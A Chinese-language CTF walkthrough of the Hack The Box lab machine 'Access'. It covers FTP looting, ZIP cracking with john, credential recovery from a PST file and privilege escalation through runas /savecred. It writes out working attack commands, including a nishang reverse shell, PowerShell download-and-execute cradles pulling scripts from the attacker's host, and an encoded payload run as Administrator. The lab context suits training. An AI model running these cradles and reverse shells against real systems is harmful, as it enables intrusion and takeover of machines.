【HTB系列】靶机Access的渗透测试详解
字数 1241 2025-08-15 21:33:54
HTB靶机Access渗透测试详解
靶机概述
Access是Hack The Box平台上的一个CTF挑战靶机,模拟真实世界渗透测试场景。该靶机包含从普通用户权限获取到管理员权限提升的完整渗透路径。
初始信息收集
端口扫描
使用nmap进行初始扫描:
nmap -sC -sV -T5 10.10.10.98
扫描结果显示开放端口:
- 21/tcp - FTP
- 23/tcp - Telnet
- 80/tcp - HTTP
FTP服务探测
使用Metasploit检测FTP是否允许匿名登录:
use auxiliary/scanner/ftp/anonymous
确认FTP允许匿名登录后,使用wget递归下载FTP文件:
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98
Telnet服务探测
尝试Telnet匿名登录失败,但确认23端口确实是Telnet服务。
Web服务分析
访问80端口的HTTP服务,下载页面图片并检查:
exiftool out.jpg
strings out.jpg
未发现有用信息后,使用gobuster进行目录爆破:
gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
FTP文件分析
从FTP下载的文件中包含:
Engineer/Access Control.zip- 加密的ZIP文件backup.mdb- Access数据库文件
ZIP文件破解
- 检查ZIP文件加密信息:
7z l -slt Access\ Control.zip
- 提取ZIP文件的hash:
zip2john Access\ Control.zip > Access\ Control.hash
- 从mdb文件生成密码字典:
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
- 使用john破解ZIP密码:
john --wordlist=wordlist Access\ Control.hash
john Access\ Control.hash --show # 查看破解出的密码
获取密码:access4u@security
- 解压ZIP文件:
7z x Access\ Control.zip
PST文件分析
解压后得到.pst文件(Outlook个人文件夹),使用readpst读取:
readpst Access\ Control.pst
less Access\ Control.mbox
发现凭证:
- 用户名:Security
- 密码:4Cc3ssC0ntr0ller
获取普通用户权限
使用获取的凭证通过Telnet登录:
telnet 10.10.10.98
登录后,在桌面找到user.txt获取用户flag。
权限提升
初始权限检查
验证PowerShell是否可用:
powershell
建立反弹shell
- 使用nishang框架创建PowerShell反弹脚本:
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1
编辑nishang.ps1,在末尾添加:
Invoke-PowerShellTcp -Reverse -IPAddress <你的IP> -Port <监听端口>
- 启动HTTP服务器:
python -m http.server 8000
- 在目标机器上执行:
powershell "IEX(New-Object Net.WebClient).downloadString('http://<你的IP>:8000/nishang.ps1')"
- 本地监听反弹shell:
nc -lvnp 9001
系统信息枚举
使用JAWS脚本枚举系统信息:
IEX(New-Object Net.WebClient).downloadString('http://<你的IP>:8000/jaws-enum.ps1')
或使用cmdkey查看凭证:
cmdkey /list
发现权限提升路径
在公共用户目录发现快捷方式文件(.lnk),使用WScript查看详细信息:
$WScript = New-Object -ComObject Wscript.Shell
$shortcut = Get-ChildItem *.lnk
$Wscript.CreateShortcut($shortcut)
发现runas命令带有/savecred参数,可利用此特性无需密码执行管理员命令。
获取管理员权限
-
准备第二个反弹脚本nishang2.ps1,修改监听端口为9002
-
对命令进行编码转换:
echo -n "IEX(New-Object Net.WebClient).downloadString('http://<你的IP>:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
- 执行runas命令:
runas /user:ACCESS\Administrator /savecred "powershell -enc <编码后的命令>"
- 本地监听第二个端口:
nc -lvnp 9002
成功获取管理员权限后,在管理员桌面找到root.txt获取管理员flag。
总结
本渗透测试路径:
- 通过FTP匿名登录获取加密ZIP和mdb文件
- 从mdb文件提取密码字典破解ZIP密码
- 分析PST文件获取Telnet凭证
- 通过Telnet获取普通用户权限
- 利用runas /savecred特性提升至管理员权限
关键点:
- FTP匿名访问泄露敏感文件
- 弱加密的ZIP文件可通过字典攻击破解
- PST文件中存储了明文凭证
- runas /savecred配置不当导致权限提升漏洞